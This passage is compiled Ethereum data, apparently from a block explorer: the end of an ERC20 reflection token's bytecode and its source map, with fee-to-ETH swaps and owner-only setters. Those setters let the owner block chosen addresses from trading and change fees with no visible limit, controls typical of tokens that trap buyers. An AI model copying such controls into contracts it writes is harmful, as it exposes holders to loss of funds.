ffffffffffff16036114ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e190613124565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611558576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154f906131b2565b60405180910390fd5b5f811161159a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159190613240565b60405180910390fd5b6115a2610d04565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161057506115e0610d04565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a1057601560169054906101000a900460ff16156116b45760105f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff166116b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116aa906132a8565b60405180910390fd5b5b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561173d57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156117a357601382908060018154018082558091505060019003905f5260205f20015f9091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b6016548111156117e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117df90613310565b60405180910390fd5b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611894576017548161184984610b4d565b611853919061332e565b10611893576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188a906133d1565b60405180910390fd5b5b5f61189e30610b4d565b90505f601854821015905060165482106118b85760165491505b8080156118d25750601560149054906101000a900460ff16155b801561192b575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611941575060158054906101000a900460ff165b8015611994575060055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156119e7575060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611a0d576119f582611e39565b5f4790505f811115611a0b57611a0a47611d65565b5b505b50505b5f6001905060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611ab0575060055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80611b61575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611b60575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611b6e575f9050611cf1565b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611c17575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611c2f57600854600c81905550600954600d819055505b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611cd8575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611cf057600a54600c81905550600b54600d819055505b5b611cfd848484846120a4565b50505050565b5f838311158290611d4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d419190612818565b60405180910390fd5b505f8385611d5891906133ef565b9050809150509392505050565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611dc9573d5f803e3d5ffd5b5050565b5f600654821115611e13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e0a90613492565b60405180910390fd5b5f611e1c6120d1565b9050611e3181846120fa90919063ffffffff16565b915050919050565b6001601560146101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611e7057611e6f612abe565b5b604051908082528060200260200182016040528015611e9e5781602001602082028036833780820191505090505b50905030815f81518110611eb557611eb4612e69565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f59573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611f7d91906134c4565b81600181518110611f9157611f90612e69565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611ff73060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b9565b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016120599594939291906135df565b5f604051808303815f87803b158015612070575f80fd5b505af1158015612082573d5f803e3d5ffd5b50505050505f601560146101000a81548160ff02191690831515021790555050565b806120b2576120b1612143565b5b6120bd84848461217c565b806120cb576120ca61233c565b5b50505050565b5f805f6120dc612350565b915091506120f381836120fa90919063ffffffff16565b9250505090565b5f61213b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506123a9565b905092915050565b5f600c5414801561215557505f600d54145b61217a57600c54600e81905550600d54600f819055505f600c819055505f600d819055505b565b5f805f805f8061218b8761240a565b9550955095509550955095506121e78660025f8c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461246a90919063ffffffff16565b60025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506122788560025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546124b390919063ffffffff16565b60025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506122c281612510565b6122cc84836125c7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161232991906129ca565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b5f805f60065490505f66038d7ea4c68000905061237f66038d7ea4c680006006546120fa90919063ffffffff16565b82101561239c5760065466038d7ea4c680009350935050506123a5565b81819350935050505b9091565b5f80831182906123ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123e69190612818565b60405180910390fd5b505f83856123fd9190613664565b9050809150509392505050565b5f805f805f805f805f6124228a600c54600d54612601565b9250925092505f6124316120d1565b90505f805f6124428e878787612693565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b5f6124ab83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d03565b905092915050565b5f8082846124c1919061332e565b905083811015612506576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124fd906136de565b60405180910390fd5b8091505092915050565b5f6125196120d1565b90505f61252f828461271790919063ffffffff16565b90506125818160025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546124b390919063ffffffff16565b60025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b6125dc8260065461246a90919063ffffffff16565b6006819055506125f7816007546124b390919063ffffffff16565b6007819055505050565b5f805f8061262b606461261d888a61271790919063ffffffff16565b6120fa90919063ffffffff16565b90505f6126546064612646888b61271790919063ffffffff16565b6120fa90919063ffffffff16565b90505f61267c8261266e858c61246a90919063ffffffff16565b61246a90919063ffffffff16565b905080838395509550955050505093509350939050565b5f805f806126aa858961271790919063ffffffff16565b90505f6126c0868961271790919063ffffffff16565b90505f6126d6878961271790919063ffffffff16565b90505f6126fe826126f0858761246a90919063ffffffff16565b61246a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b5f808303612727575f9050612788565b5f828461273491906136fc565b90508284826127439190613664565b14612783576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161277a906137ad565b60405180910390fd5b809150505b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156127c55780820151818401526020810190506127aa565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6127ea8261278e565b6127f48185612798565b93506128048185602086016127a8565b61280d816127d0565b840191505092915050565b5f6020820190508181035f83015261283081846127e0565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61287282612849565b9050919050565b61288281612868565b811461288c575f80fd5b50565b5f8135905061289d81612879565b92915050565b5f819050919050565b6128b5816128a3565b81146128bf575f80fd5b50565b5f813590506128d0816128ac565b92915050565b5f80604083850312156128ec576128eb612841565b5b5f6128f98582860161288f565b925050602061290a858286016128c2565b9150509250929050565b5f8115159050919050565b61292881612914565b82525050565b5f6020820190506129415f83018461291f565b92915050565b5f819050919050565b5f61296a61296561296084612849565b612947565b612849565b9050919050565b5f61297b82612950565b9050919050565b5f61298c82612971565b9050919050565b61299c81612982565b82525050565b5f6020820190506129b55f830184612993565b92915050565b6129c4816128a3565b82525050565b5f6020820190506129dd5f8301846129bb565b92915050565b5f805f606084860312156129fa576129f9612841565b5b5f612a078682870161288f565b9350506020612a188682870161288f565b9250506040612a29868287016128c2565b9150509250925092565b5f60208284031215612a4857612a47612841565b5b5f612a55848285016128c2565b91505092915050565b612a6781612868565b82525050565b5f602082019050612a805f830184612a5e565b92915050565b5f60ff82169050919050565b612a9b81612a86565b82525050565b5f602082019050612ab45f830184612a92565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b612af4826127d0565b810181811067ffffffffffffffff82111715612b1357612b12612abe565b5b80604052505050565b5f612b25612838565b9050612b318282612aeb565b919050565b5f67ffffffffffffffff821115612b5057612b4f612abe565b5b602082029050602081019050919050565b5f80fd5b5f612b77612b7284612b36565b612b1c565b90508083825260208201905060208402830185811115612b9a57612b99612b61565b5b835b81811015612bc35780612baf888261288f565b845260208401935050602081019050612b9c565b5050509392505050565b5f82601f830112612be157612be0612aba565b5b8135612bf1848260208601612b65565b91505092915050565b5f805f805f60a08688031215612c1357612c12612841565b5b5f612c20888289016128c2565b9550506020612c31888289016128c2565b9450506040612c42888289016128c2565b9350506060612c53888289016128c2565b925050608086013567ffffffffffffffff811115612c7457612c73612845565b5b612c8088828901612bcd565b9150509295509295909350565b612c9681612914565b8114612ca0575f80fd5b50565b5f81359050612cb181612c8d565b92915050565b5f60208284031215612ccc57612ccb612841565b5b5f612cd984828501612ca3565b91505092915050565b5f60208284031215612cf757612cf6612841565b5b5f612d048482850161288f565b91505092915050565b5f80fd5b5f8083601f840112612d2657612d25612aba565b5b8235905067ffffffffffffffff811115612d4357612d42612d0d565b5b602083019150836020820283011115612d5f57612d5e612b61565b5b9250929050565b5f805f60408486031215612d7d57612d7c612841565b5b5f84013567ffffffffffffffff811115612d9a57612d99612845565b5b612da686828701612d11565b93509350506020612db986828701612ca3565b9150509250925092565b5f8060408385031215612dd957612dd8612841565b5b5f612de68582860161288f565b9250506020612df78582860161288f565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612e35602083612798565b9150612e4082612e01565b602082019050919050565b5f6020820190508181035f830152612e6281612e29565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f612ecd826128a3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612eff57612efe612e96565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f612f64602683612798565b9150612f6f82612f0a565b604082019050919050565b5f6020820190508181035f830152612f9181612f58565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612ff2602483612798565b9150612ffd82612f98565b604082019050919050565b5f6020820190508181035f83015261301f81612fe6565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f613080602283612798565b915061308b82613026565b604082019050919050565b5f6020820190508181035f8301526130ad81613074565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61310e602583612798565b9150613119826130b4565b604082019050919050565b5f6020820190508181035f83015261313b81613102565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61319c602383612798565b91506131a782613142565b604082019050919050565b5f6020820190508181035f8301526131c981613190565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f61322a602983612798565b9150613235826131d0565b604082019050919050565b5f6020820190508181035f8301526132578161321e565b9050919050565b7f6e6f0000000000000000000000000000000000000000000000000000000000005f82015250565b5f613292600283612798565b915061329d8261325e565b602082019050919050565b5f6020820190508181035f8301526132bf81613286565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000005f82015250565b5f6132fa601c83612798565b9150613305826132c6565b602082019050919050565b5f6020820190508181035f830152613327816132ee565b9050919050565b5f613338826128a3565b9150613343836128a3565b925082820190508082111561335b5761335a612e96565b5b92915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073695f8201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b5f6133bb602383612798565b91506133c682613361565b604082019050919050565b5f6020820190508181035f8301526133e8816133af565b9050919050565b5f6133f9826128a3565b9150613404836128a3565b925082820390508181111561341c5761341b612e96565b5b92915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c20725f8201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b5f61347c602a83612798565b915061348782613422565b604082019050919050565b5f6020820190508181035f8301526134a981613470565b9050919050565b5f815190506134be81612879565b92915050565b5f602082840312156134d9576134d8612841565b5b5f6134e6848285016134b0565b91505092915050565b5f819050919050565b5f61351261350d613508846134ef565b612947565b6128a3565b9050919050565b613522816134f8565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61355a81612868565b82525050565b5f61356b8383613551565b60208301905092915050565b5f602082019050919050565b5f61358d82613528565b6135978185613532565b93506135a283613542565b805f5b838110156135d25781516135b98882613560565b97506135c483613577565b9250506001810190506135a5565b5085935050505092915050565b5f60a0820190506135f25f8301886129bb565b6135ff6020830187613519565b81810360408301526136118186613583565b90506136206060830185612a5e565b61362d60808301846129bb565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61366e826128a3565b9150613679836128a3565b92508261368957613688613637565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f6136c8601b83612798565b91506136d382613694565b602082019050919050565b5f6020820190508181035f8301526136f5816136bc565b9050919050565b5f613706826128a3565b9150613711836128a3565b925082820261371f816128a3565b9150828204841483151761373657613735612e96565b5b5092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f613797602183612798565b91506137a28261373d565b604082019050919050565b5f6020820190508181035f8301526137c48161378b565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200d4d52ce3f7ad7286ab19c553adc3e7046aaa9d633e4d20b903d9775bbbbdbed64736f6c63430008150033

Deployed Bytecode Sourcemap

4164:13141:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6692:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7617:193;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5482:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6969:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7818:446;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5446:27;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5782:50;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6878:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5530:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16927:131;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16006:420;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16669:101;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12402:198;;;;;;;;;;;;;:::i;:::-;;7072:138;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1651:148;;;;;;;;;;;;;:::i;:::-;;5670:43;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5287;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1437:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5725:45;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6783:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16478:139;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7218:199;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12195;;;;;;;;;;;;;:::i;:::-;;17066:234;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7425:184;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16809:105;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1807:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6692:83;6729:13;6762:5;;;;;;;;;;;;;;;;;6755:12;;6692:83;:::o;7617:193::-;7719:4;7741:39;7750:12;:10;:12::i;:::-;7764:7;7773:6;7741:8;:39::i;:::-;7798:4;7791:11;;7617:193;;;;:::o;5482:41::-;;;;;;;;;;;;;:::o;6969:95::-;7022:7;4731:15;7042:14;;6969:95;:::o;7818:446::-;7950:4;7967:36;7977:6;7985:9;7996:6;7967:9;:36::i;:::-;8014:220;8037:6;8058:12;:10;:12::i;:::-;8085:138;8141:6;8085:138;;;;;;;;;;;;;;;;;:11;:19;8097:6;8085:19;;;;;;;;;;;;;;;:33;8105:12;:10;:12::i;:::-;8085:33;;;;;;;;;;;;;;;;:37;;:138;;;;;:::i;:::-;8014:8;:220::i;:::-;8252:4;8245:11;;7818:446;;;;;:::o;5446:27::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;5782:50::-;;;;:::o;6878:83::-;6919:5;4405:1;6937:16;;6878:83;:::o;5530:28::-;;;;;;;;;;;;;:::o;16927:131::-;1574:12;:10;:12::i;:::-;1564:22;;:6;;;;;;;;;;:22;;;1556:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;17018:13:::1;17001:14;:30;;;;17045:5;17042:2;;:8;;;;;;;;;;;;;;;;;;16927:131:::0;:::o;16006:420::-;1574:12;:10;:12::i;:::-;1564:22;;:6;;;;;;;;;;:22;;;1556:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;16177:2:::1;;;;;;;;;;;16174:85;;;16185:9;16181:77;16201:15;:22;16199:1;:24;16181:77;;;16252:4;16229:2;:22;16232:15;16248:1;16232:18;;;;;;;;:::i;:::-;;;;;;;;16229:22;;;;;;;;;;;;;;;;:27;;;;;;;;;;;;;;;;;;16224:3;;;;;:::i;:::-;;;;16181:77;;;;16174:85;16286:13;16269:14;:30;;;;16328:14;16310:15;:32;;;;16368:11;16353:12;:26;;;;16406:12;16390:13;:28;;;;16006:420:::0;;;;;:::o;16669:101::-;1574:12;:10;:12::i;:::-;1564:22;;:6;;;;;;;;;;:22;;;1556:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;16750:12:::1;16736:11;::::0;:26:::1;;;;;;;;;;;;;;;;;;16669:101:::0;:::o;12402:198::-;12468:19;;;;;;;;;;;12452:35;;:12;:10;:12::i;:::-;:35;;;12444:44;;;;;;12499:26;12528:21;12499:50;;12560:32;12573:18;12560:12;:32::i;:::-;12433:167;12402:198::o;7072:138::-;7138:7;7165:37;7185:7;:16;7193:7;7185:16;;;;;;;;;;;;;;;;7165:19;:37::i;:::-;7158:44;;7072:138;;;:::o;1651:148::-;1574:12;:10;:12::i;:::-;1564:22;;:6;;;;;;;;;;:22;;;1556:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;1758:1:::1;1721:40;;1742:6;::::0;::::1;;;;;;;;1721:40;;;;;;;;;;;;1789:1;1772:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1651:148::o:0;5670:43::-;;;;:::o;5287:::-;;;;;;;;;;;;;;;;;:::o;1437:79::-;1475:7;1502:6;;;;;;;;;;;1495:13;;1437:79;:::o;5725:45::-;;;;:::o;6783:87::-;6822:13;6855:7;;;;;;;;;;;;;;;;;6848:14;;6783:87;:::o;16478:139::-;1574:12;:10;:12::i;:::-;1564:22;;:6;;;;;;;;;;:22;;;1556:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;16591:18:::1;16569:19;:40;;;;16478:139:::0;:::o;7218:199::-;7323:4;7345:42;7355:12;:10;:12::i;:::-;7369:9;7380:6;7345:9;:42::i;:::-;7405:4;7398:11;;7218:199;;;;:::o;12195:::-;12261:19;;;;;;;;;;;12245:35;;:12;:10;:12::i;:::-;:35;;;12237:44;;;;;;12292:23;12318:24;12336:4;12318:9;:24::i;:::-;12292:50;;12353:33;12370:15;12353:16;:33::i;:::-;12226:168;12195:199::o;17066:234::-;1574:12;:10;:12::i;:::-;1564:22;;:6;;;;;;;;;;:22;;;1556:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;17183:9:::1;17179:114;17202:8;;:15;;17198:1;:19;17179:114;;;17273:8;17239:18;:31;17258:8;;17267:1;17258:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;17239:31;;;;;;;;;;;;;;;;:42;;;;;;;;;;;;;;;;;;17219:3;;;;;:::i;:::-;;;;17179:114;;;;17066:234:::0;;;:::o;7425:184::-;7542:7;7574:11;:18;7586:5;7574:18;;;;;;;;;;;;;;;:27;7593:7;7574:27;;;;;;;;;;;;;;;;7567:34;;7425:184;;;;:::o;16809:105::-;1574:12;:10;:12::i;:::-;1564:22;;:6;;;;;;;;;;:22;;;1556:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;16895:11:::1;16880:12;:26;;;;16809:105:::0;:::o;1807:244::-;1574:12;:10;:12::i;:::-;1564:22;;:6;;;;;;;;;;:22;;;1556:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;1916:1:::1;1896:22;;:8;:22;;::::0;1888:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;2006:8;1977:38;;1998:6;::::0;::::1;;;;;;;;1977:38;;;;;;;;;;;;2035:8;2026:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;1807:244:::0;:::o;196:98::-;249:7;276:10;269:17;;196:98;:::o;8955:369::-;9099:1;9082:19;;:5;:19;;;9074:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9180:1;9161:21;;:7;:21;;;9153:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9262:6;9232:11;:18;9244:5;9232:18;;;;;;;;;;;;;;;:27;9251:7;9232:27;;;;;;;;;;;;;;;:36;;;;9300:7;9284:32;;9293:5;9284:32;;;9309:6;9284:32;;;;;;:::i;:::-;;;;;;;;8955:369;;;:::o;9332:2255::-;9470:1;9454:18;;:4;:18;;;9446:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9547:1;9533:16;;:2;:16;;;9525:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;9617:1;9608:6;:10;9600:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;9689:7;:5;:7::i;:::-;9681:15;;:4;:15;;;;:32;;;;;9706:7;:5;:7::i;:::-;9700:13;;:2;:13;;;;9681:32;9677:1184;;;9781:2;;;;;;;;;;;9778:29;;;9793:2;:6;9796:2;9793:6;;;;;;;;;;;;;;;;;;;;;;;;;9785:20;;;;;;;;;;;;:::i;:::-;;;;;;;;;9778:29;9832:13;;;;;;;;;;;9826:19;;:2;:19;;;;:42;;;;;9863:4;9849:19;;:2;:19;;;;9826:42;9823:100;;;9888:10;9904:2;9888:19;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9823:100;9955:12;;9945:6;:22;;9937:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;10026:13;;;;;;;;;;;10020:19;;:2;:19;;;10017:146;;10093:14;;10084:6;10068:13;10078:2;10068:9;:13::i;:::-;:22;;;;:::i;:::-;:39;10060:87;;;;;;;;;;;;:::i;:::-;;;;;;;;;10017:146;10179:28;10210:24;10228:4;10210:9;:24::i;:::-;10179:55;;10249:12;10288:19;;10264:20;:43;;10249:58;;10351:12;;10327:20;:36;10324:124;;10420:12;;10397:35;;10324:124;10468:7;:18;;;;;10480:6;;;;;;;;;;;10479:7;10468:18;:43;;;;;10498:13;;;;;;;;;;;10490:21;;:4;:21;;;;10468:43;:58;;;;;10515:11;;;;;;;;;;10468:58;:87;;;;;10531:18;:24;10550:4;10531:24;;;;;;;;;;;;;;;;;;;;;;;;;10530:25;10468:87;:114;;;;;10560:18;:22;10579:2;10560:22;;;;;;;;;;;;;;;;;;;;;;;;;10559:23;10468:114;10464:386;;;10603:38;10620:20;10603:16;:38::i;:::-;10660:26;10689:21;10660:50;;10754:1;10733:18;:22;10729:106;;;10780:35;10793:21;10780:12;:35::i;:::-;10729:106;10584:266;10464:386;9715:1146;;9677:1184;10873:12;10888:4;10873:19;;10937:18;:24;10956:4;10937:24;;;;;;;;;;;;;;;;;;;;;;;;;:50;;;;10965:18;:22;10984:2;10965:22;;;;;;;;;;;;;;;;;;;;;;;;;10937:50;10936:102;;;;11001:13;;;;;;;;;;;10993:21;;:4;:21;;;;:44;;;;;11024:13;;;;;;;;;;;11018:19;;:2;:19;;;;10993:44;10936:102;10932:594;;;11065:5;11055:15;;10932:594;;;11148:13;;;;;;;;;;;11140:21;;:4;:21;;;:55;;;;;11179:15;;;;;;;;;;;11165:30;;:2;:30;;;;11140:55;11137:162;;;11228:14;;11216:9;:26;;;;11271:12;;11261:7;:22;;;;11137:162;11358:13;;;;;;;;;;;11352:19;;:2;:19;;;:55;;;;;11391:15;;;;;;;;;;;11375:32;;:4;:32;;;;11352:55;11348:165;;;11440:15;;11428:9;:27;;;;11484:13;;11474:7;:23;;;;11348:165;10932:594;11538:41;11553:4;11559:2;11563:6;11571:7;11538:14;:41::i;:::-;9435:2152;9332:2255;;;:::o;2415:224::-;2535:7;2568:1;2563;:6;;2571:12;2555:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2595:9;2611:1;2607;:5;;;;:::i;:::-;2595:17;;2630:1;2623:8;;;2415:224;;;;;:::o;12086:101::-;12143:19;;;;;;;;;;;:28;;:36;12172:6;12143:36;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12086:101;:::o;8272:323::-;8367:7;8425;;8414;:18;;8392:110;;;;;;;;;;;;:::i;:::-;;;;;;;;;8513:19;8535:10;:8;:10::i;:::-;8513:32;;8563:24;8575:11;8563:7;:11;;:24;;;;:::i;:::-;8556:31;;;8272:323;;;:::o;11595:483::-;5935:4;5926:6;;:13;;;;;;;;;;;;;;;;;;11673:21:::1;11711:1;11697:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11673:40;;11742:4;11724;11729:1;11724:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;11768:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;